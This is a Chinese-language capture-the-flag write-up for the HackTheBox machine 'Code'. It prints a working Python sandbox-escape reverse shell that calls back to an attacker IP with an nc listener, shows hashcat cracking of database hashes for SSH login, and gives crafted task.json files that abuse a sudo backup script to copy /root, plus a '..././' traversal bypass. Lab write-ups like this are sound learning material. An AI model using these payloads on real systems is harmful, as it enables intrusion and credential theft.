- 难度 : Easy
- 靶场 : HackTheBox [Code]
- 类型 : 综合渗透
GetShell
首先拿到 IP ,扫描端口,发现开放了 22
和 5000
。发现 5000 是个 HTTP ,访问发现可以直接执行 Python 代码,当然是过滤了一些危险函数的。
我直接用 getattr
绕过弹 shell 了,首先开启 nc
监听。
nc -lv 9443
然后直接运行就可以反弹了。
o_s = getattr(print.__self__, '__im' + 'port__')('o' + 's')
so = getattr(print.__self__, '__im' + 'port__')('soc' + 'ket')
sub = getattr(print.__self__, '__im' + 'port__')('subpro' + 'cess')
s=so.socket(so.AF_INET,so.SOCK_STREAM);
s.connect(('10.10.14.45',9443));
o_s.dup2(s.fileno(),0);
o_s.dup2(s.fileno(),1);
o_s.dup2(s.fileno(),2);
p=sub.call(['/bin/bash','-i']);
拿到 shell 之后发现有个 database.db
SQLite 数据库。里面有两个用户,找到 MD5 加密后的用户和密码,对比 /etc/passwd
,发现 martin
用户是存在的,所以可以先破解密码,然后去撞库 SSH 。
使用 HashCat 破解密码。
hashcat -m 0 martin.hash rockyou.txt
成功破解出密码并登上 SSH 。此时 GetShell 成功。
提权
其实我自己提权的思路有点问题,只是能够获取到 /root 下的所有文件,包括 flag 文件,并没有真正意义上提权成为 root ,先记录一下。
首先使用 ssh -l
查看可执行的特权指令,发现有个 /usr/bin/backy.sh
。
查看里面的内容,发现是对输入的 $json_file
做了一系列过滤处理,然后交给 backy
这个二进制程序了。
在 GitHub 上找到了 backy 这个程序的 源码 ,分析源码,发现实际上调用了 rsync
和 tar
两个命令来对文件夹进行备份,并且 rsync
接受 json 文件中的 directories_to_sync
作为同步的源路径。
而 /usr/bin/backy.sh
只对 tar
处理的 directories_to_archive
参数进行了控制,所以就可以构造这样一个攻击链:首先把 /root
文件夹通过 rsync
同步到用户目录下,此时同步过来的文件夹也是只有 root 用户才能访问的,所以再借助 backy
将同步过来的文件夹进行 tar 打包,最后下载解压就能看到里面的内容了。
首先修改 task.json
文件。
{
"destination": "/home/martin/root",
"multiprocessing": true,
"verbose_log": false,
"directories_to_sync": [
"/root"
]
}
然后执行 sudo backy.sh task.json
,此时 /root
的内容就同步到 /home/martin/root
了,然后修改 task.json
文件。
{
"destination": "/home/martin/backup",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/martin/root"
]
}
执行 sudo backy.sh task.json
,就可以在 /home/martin/backup
下找到压缩包了,解压可以得到 root 的 flag 。
但是这个思路有一个很明显的问题,就是 rsync
同步时, 并不会把隐藏文件夹 .ssh
也同步过来,所以就不能提权成为 root ,后来看其他人的 WriteUp 才发现是要通过双写绕过 ../
,比如 ..././
,总之,题目还是很有趣的。
评论